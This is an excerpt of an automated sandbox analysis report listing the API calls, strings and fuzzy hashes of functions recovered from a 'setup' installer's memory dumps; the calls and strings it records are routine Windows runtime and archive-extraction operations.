GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004B67E2,?), ref: 004BC181
__freea.LIBCMT ref: 004BC18A

Part of subcall function 004B8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BC13D,00000000,?,004B67E2,?,00000008,?,004B89AD,?,?,?), ref: 004B854A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: a81847b84f28b2fcb37e224c25a4b5a0e03c1729337e0c259d1fd355301031e6
Instruction ID: c360a4a633a132ce6adcdbdfa15565bea6535c264a44503d0363339c5bfc2f38
Opcode Fuzzy Hash: a81847b84f28b2fcb37e224c25a4b5a0e03c1729337e0c259d1fd355301031e6
Instruction Fuzzy Hash: 9D31C072A0010AABDF249F69CC85DEF7BA9EB44710F04412AFC15E6251EB39DD51CBA4

Function 004A9DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004A9DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 004A9DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004A9DDB
ReleaseDC.USER32(00000000,00000000), ref: 004A9DE9

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 0d87eda84b162458e89df111f8339429a5a09554c47a770af6b9181281b4cbb8
Instruction ID: beef433003c684d3798cd7684c3503bb64913fc5d1105d3ca08b3cbb8fb47d3c
Opcode Fuzzy Hash: 0d87eda84b162458e89df111f8339429a5a09554c47a770af6b9181281b4cbb8
Instruction Fuzzy Hash: C1E0EC32986622ABD3601BA5AD0DBAB3B54FB0A712F054026F70596190EEB44455CB9C

Function 004B2016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 004B2016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 004B201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 004B2020

Part of subcall function 004B310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 004B311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 004B2035

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: d54a837ba6c94c68f0c79b2749fda2473dcea1f44bb074138b58928fa5e9712b
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: 09C04C24004645D41C113EBB23021FF17440C62BCEBD231CFEA8017203DE8E060B963F

Function 004A9F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 004A9DF1: GetDC.USER32(00000000), ref: 004A9DF5
Part of subcall function 004A9DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 004A9E00
Part of subcall function 004A9DF1: ReleaseDC.USER32(00000000,00000000), ref: 004A9E0B

GetObjectW.GDI32(?,00000018,?), ref: 004A9F8D

Part of subcall function 004AA1E5: GetDC.USER32(00000000), ref: 004AA1EE
Part of subcall function 004AA1E5: GetObjectW.GDI32(?,00000018,?), ref: 004AA21D
Part of subcall function 004AA1E5: ReleaseDC.USER32(00000000,?), ref: 004AA2B5

Strings

(, xrefs: 004AA0A3

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: e5ad2df31f94fb34ed06df9e43745c9b846c4be5db01dc16dfe36f885644c5b4
Instruction ID: a07124052a8bc5c17be2ef486f8b845a5c2ad3323ce56f632f842fa82b51da5f
Opcode Fuzzy Hash: e5ad2df31f94fb34ed06df9e43745c9b846c4be5db01dc16dfe36f885644c5b4
Instruction Fuzzy Hash: 5F812471208204AFC754DF68C844E2ABBF9FF99704F00896EF98AD7260DB35AD05CB56

Function 004A0E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 004A0FF1

Strings

%s: %s, xrefs: 004A1000
%ls, xrefs: 004A0E76, 004A0E8C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: fd7a202286d4a918dc427cc8c869f1cdbdbc26937534561a3cb9fae770966345
Instruction ID: 2dfb154f806bf2451e9e097b4315e89a96df1e41e3ce641070c8058018b8524f
Opcode Fuzzy Hash: fd7a202286d4a918dc427cc8c869f1cdbdbc26937534561a3cb9fae770966345
Instruction Fuzzy Hash: 6E51E53528C740FDEA201AA4CD12F377A55AB3BB05F20491BB79B78CE1C69E5461B60F

Function 0049772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00497730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 004978CC

Part of subcall function 0049A444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0049A27A,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A458
Part of subcall function 0049A444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0049A27A,?,?,?,0049A113,?,00000001,00000000,?,?), ref: 0049A489

Strings

:, xrefs: 004977A1

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 29fb40380c2573c96dc7e2dffbbf8e831ecfbac4c6fcc085b6a580cf76d0656b
Instruction ID: d69147c9f46381c47b0648ac4765fd506af64f58ec821244a88df38502fa5635
Opcode Fuzzy Hash: 29fb40380c2573c96dc7e2dffbbf8e831ecfbac4c6fcc085b6a580cf76d0656b
Instruction Fuzzy Hash: D6416371805118AADF20EB55CD45EEE7B7CAF41304F0040FFB509A2192DB785F84CB69

Function 0049B66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 0049B708
\\?\, xrefs: 0049B6BE, 0049B6FA, 0049B75B, 0049B7AE

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: eea37a7663a4d529689c3a63b4015657b9469e5c2c7f7f7cf8271b12cf54be12
Instruction ID: bde3da8197caac0e6fc9dc3e0394965dcff37c5c9ae20f6dab16de2b4e794a42
Opcode Fuzzy Hash: eea37a7663a4d529689c3a63b4015657b9469e5c2c7f7f7cf8271b12cf54be12
Instruction Fuzzy Hash: E041C435440219BACF20BFA2ED41EEB7FA9EF45754B1041BBF81493252E7789944C6EC

Function 004A4230 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 004A43D8

Strings

HCL, xrefs: 004A4345
XCL, xrefs: 004A4379

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Exception@8Throw
String ID: HCL$XCL
API String ID: 2005118841-394690550
Opcode ID: cc05d459ef5baf904c0b82de8aa8524838068fe4adbbdd8a6287856a5fd983fa
Instruction ID: 15b2ab8b749f49991eb3a40faafc067bd9ba92a62aeef1ceb2af382efc5b2b9c
Opcode Fuzzy Hash: cc05d459ef5baf904c0b82de8aa8524838068fe4adbbdd8a6287856a5fd983fa
Instruction Fuzzy Hash: BD418C716007008FD714DF69C891BAAB7E5FBE9304F04482EE89AC7351EB7AE818CB45

Function 004A8FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 004A8FC4

Strings

about:blank, xrefs: 004A9082
Shell.Explorer, xrefs: 004A8FEF

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: aad1497a8b81d0fc915138de826df4d509eb554dd5b110af737139deefb2207f
Instruction ID: b5eb57687a6e423f5096028aa0ae3653a22926f0ac9a6a8ea0e2d62c14d0da3c
Opcode Fuzzy Hash: aad1497a8b81d0fc915138de826df4d509eb554dd5b110af737139deefb2207f
Instruction Fuzzy Hash: 7221A5712043049FDB089F65C895A2B77A8FF55311B14C56FF9098B282DB78EC01CB68

Function 004AD44D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010412,004AA990,?,?), ref: 004AD4C5

Strings

xjN, xrefs: 004AD4D5
GETPASSWORD1, xrefs: 004AD4BA

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$xjN
API String ID: 665744214-3361520957
Opcode ID: 09448467de8f28d32df8bc675732de9e784e0d27e7120954b8170a7460d550df
Instruction ID: 30fe84dbcf8103db3d328983a9db7b266473e624832ab011f1c55f76510c9551
Opcode Fuzzy Hash: 09448467de8f28d32df8bc675732de9e784e0d27e7120954b8170a7460d550df
Instruction Fuzzy Hash: F0117B72A002447BDB22DE349C45BBB3798B70A314F14807BBD46A7280CBB86C40C7AC

Function 0049EBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 0049EB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0049EB92
Part of subcall function 0049EB73: GetProcAddress.KERNEL32(004D81C0,CryptUnprotectMemory), ref: 0049EBA2

GetCurrentProcessId.KERNEL32(?,?,?,0049EBEC), ref: 0049EC84

Strings

CryptUnprotectMemory failed, xrefs: 0049EC7C
CryptProtectMemory failed, xrefs: 0049EC3B

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 932a750da3b5d4ab94428f88be84ff5b9dd9af4705c38369932c1a357b3bdae7
Instruction ID: 37f203a493869105eb2fd1e8e6fd60153088d81d1427ce3fd9c1ee3f61439037
Opcode Fuzzy Hash: 932a750da3b5d4ab94428f88be84ff5b9dd9af4705c38369932c1a357b3bdae7
Instruction Fuzzy Hash: B311E431A05224ABDF15DF26DD06AAF7F14AF00715B04803FE8456B381CB7DAE4186DD

Function 004B9B90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B9BBE
_free.LIBCMT ref: 004B9BE4

Strings

XL, xrefs: 004B9C4B

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free
String ID: XL
API String ID: 269201875-2690532890
Opcode ID: 32cb82b973a42e440c8f40ef8427dde200e7a697e076d5725a878d75af605e88
Instruction ID: 94e712cc9088c3725a94b42e5a9177daa8f440beec6feccc73d0a1a8bfa1ebe1
Opcode Fuzzy Hash: 32cb82b973a42e440c8f40ef8427dde200e7a697e076d5725a878d75af605e88
Instruction Fuzzy Hash: 7511D371A012119AEB209B7DAC41BA63798B751334F15026BF621DA2E0E779DC52C6AC

Function 004AEC4A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004AF25E
___raise_securityfailure.LIBCMT ref: 004AF345

Strings

8O, xrefs: 004AF340

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8O
API String ID: 3761405300-2264158070
Opcode ID: 9afb7640e0573db4710ca45cdf7ddf5d1539b0ec61acea89e6b15c3d4389f541
Instruction ID: 1fd689bc659c5822a98aab08d01c142ec1f3fb894463a6e242dd091b2aa9da9d
Opcode Fuzzy Hash: 9afb7640e0573db4710ca45cdf7ddf5d1539b0ec61acea89e6b15c3d4389f541
Instruction Fuzzy Hash: 0F2120B9950304DBD750DF55FD81B213BA4FB99310F60583AE9088B3A2E3B569A4CF4D

Function 004A0889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,004A09D0,?,00000000,00000000), ref: 004A08AD
SetThreadPriority.KERNEL32(?,00000000), ref: 004A08F4

Part of subcall function 00496E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00496EAF

Strings

CreateThread failed, xrefs: 004A08B9

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: c31c5005a1dae486c3225c554dce6c0df0f2d5b44619353678e04931fbc8e9b7
Instruction ID: 4dadd5094d6a886e3402202e3b40f02de7ba5ad5b33fd0ba2ed6227c7d4f09d0
Opcode Fuzzy Hash: c31c5005a1dae486c3225c554dce6c0df0f2d5b44619353678e04931fbc8e9b7
Instruction Fuzzy Hash: 3101F9B63443056FE620AF55EC86F6B7398EB51715F30043FF58653284CEE9A840966C

Function 004BB2AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004B8FA5: GetLastError.KERNEL32(?,004D0EE8,004B3E14,004D0EE8,?,?,004B3713,00000050,?,004D0EE8,00000200), ref: 004B8FA9
Part of subcall function 004B8FA5: _free.LIBCMT ref: 004B8FDC
Part of subcall function 004B8FA5: SetLastError.KERNEL32(00000000,?,004D0EE8,00000200), ref: 004B901D
Part of subcall function 004B8FA5: _abort.LIBCMT ref: 004B9023

_abort.LIBCMT ref: 004BB2E0
_free.LIBCMT ref: 004BB314

Strings

L, xrefs: 004BB30B

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorLast_abort_free
String ID: L
API String ID: 289325740-1778183444
Opcode ID: 11e31cb7398877e7551612d2ad5ac6d9d7a1564af3eb5931835bcda39508d0ef
Instruction ID: adef6824c1fe394b1dc92626e3b2568d2a9eb0c6aba3fbc9c762cfb3786532f3
Opcode Fuzzy Hash: 11e31cb7398877e7551612d2ad5ac6d9d7a1564af3eb5931835bcda39508d0ef
Instruction Fuzzy Hash: F0018431D016229BC7659F5A98016AEB3A4FF14721B19051FE82167781CB786D42CFEE

Function 0049130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0049DA98: _swprintf.LIBCMT ref: 0049DABE
Part of subcall function 0049DA98: _strlen.LIBCMT ref: 0049DADF
Part of subcall function 0049DA98: SetDlgItemTextW.USER32(?,004CE154,?), ref: 0049DB3F
Part of subcall function 0049DA98: GetWindowRect.USER32(?,?), ref: 0049DB79
Part of subcall function 0049DA98: GetClientRect.USER32(?,?), ref: 0049DB85

GetDlgItem.USER32(00000000,00003021), ref: 0049134F
SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

Strings

0, xrefs: 0049130E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: d2bae34fecf1fef6ba978ccacdf6e4f777245ef4c798e3bb2f1bfbd1cd9e3d96
Instruction ID: 18bc5d8e7e18c8da95277c6327737d889cdce985714acceefea80afaa9b68b38
Opcode Fuzzy Hash: d2bae34fecf1fef6ba978ccacdf6e4f777245ef4c798e3bb2f1bfbd1cd9e3d96
Instruction Fuzzy Hash: F1F0813050024DA6EF350F618909BBA3FA8BB50345F08803ABD45556B1C77CC9A5DA1C

Function 004A084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,004A0A78,?), ref: 004A0854
GetLastError.KERNEL32(?), ref: 004A0860

Part of subcall function 00496E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00496EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 004A0869

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

